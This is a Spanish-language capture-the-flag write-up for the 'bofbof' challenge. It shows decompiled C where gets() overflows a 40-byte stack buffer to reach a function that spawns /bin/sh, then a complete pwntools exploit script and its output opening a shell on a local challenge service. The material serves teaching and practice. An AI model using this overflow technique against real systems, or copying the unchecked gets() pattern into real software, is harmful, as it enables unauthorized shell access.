bofbof


July 20, 20252 minutes

Para este reto se proporciona un binario

undefined8 main(void)

{
  char local_38 [40];
  long local_10;
  
  local_10 = 0x4141414141414141;
  printf("Comment est votre blanquette ?\n>>> ");
  fflush(stdout);
  gets(local_38);
  if (local_10 != 0x4141414141414141) {
    if (local_10 == 0x1122334455667788) {
      vuln();
    }
    puts("Almost there!");
  }
  return 0;
}

En la función main de dicho binario se le pide un input al usuario con la función gets, esto lo hace vulnerable a buffer overlof, ya que gets no válida la longitud del input del usuario, por lo que si es más grande que el buffer definido para ese input, causa un desbordamiento del buffer y termina sobreescribiendo otras partes del stack.

El input se guarda en local_38 y en local_10 se almacena 0x4141414141414141.

Después hace un if para comprobar si local_10 no es igual al valor que se le había asignado previamente, si cumple esa condición comprueba si local_10 equivale a 0x1122334455667788 si también se cumple esa condición se llama a la función vuln

void vuln(void)

{
  system("/bin/sh");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

La función vuln ejecuta /bin/sh, proporcionando una shell.

El objetivo es mediante el overflow de local_38 llegar a sobreescribir local_10 con 0x1122334455667788, como local_38 tiene un buffer de 40 bytes hay que poner 40 bytes de junk y luego añadir el contenido que va a tener local_10

#!/usr/bin/env python3

from pwn import *

exe = ELF("./bofbof_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("localhost", 4000)

    return r


def main():
    r = conn()

    # good luck pwning :)
    payload = b'A' * 40
    payload += p64(0x1122334455667788)
    r.sendlineafter(b'>>', payload)
    r.interactive()


if __name__ == "__main__":
    main()
[d3bo@archlinux 2021]$ python3 solve.py
[*] '/home/d3bo/Desktop/ctf/fcsc/2021/bofbof_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
> $ ls
bofbof
flag.txt
$